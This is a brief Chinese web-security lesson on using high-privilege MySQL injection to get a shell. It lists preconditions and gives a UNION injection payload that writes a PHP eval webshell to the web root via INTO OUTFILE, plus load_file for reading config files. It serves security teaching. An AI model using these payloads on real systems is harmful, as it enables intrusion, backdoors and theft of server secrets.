风炫安全Web安全学习第十六节课 高权限sql注入getshell

风炫安全Web安全学习第十六节课 高权限sql注入getshell

sql高权限getshell

前提条件:

  1. 需要知道目标网站绝对路径

  2. 目录具有写的权限

  3. 需要当前数据库用户开启了secure_file_priv

select database() into outfile '/var/www/html/1.txt'

allen' union select 1,'<?php eval($_GET[w]); ?>' into outfile '/var/www/html/2.php' #

site: xxx.com error

写文件

into outfile 将select的结果写入到指定目录的1.txt中

在一些没有回显的注入中可以使用into outfile的结果写入文件中,然后获得权限

读文件

Load_file 函数可以读文件

select load_file('/etc/my.cnf');

猜你喜欢

转载自blog.csdn.net/hyj123480/article/details/111610753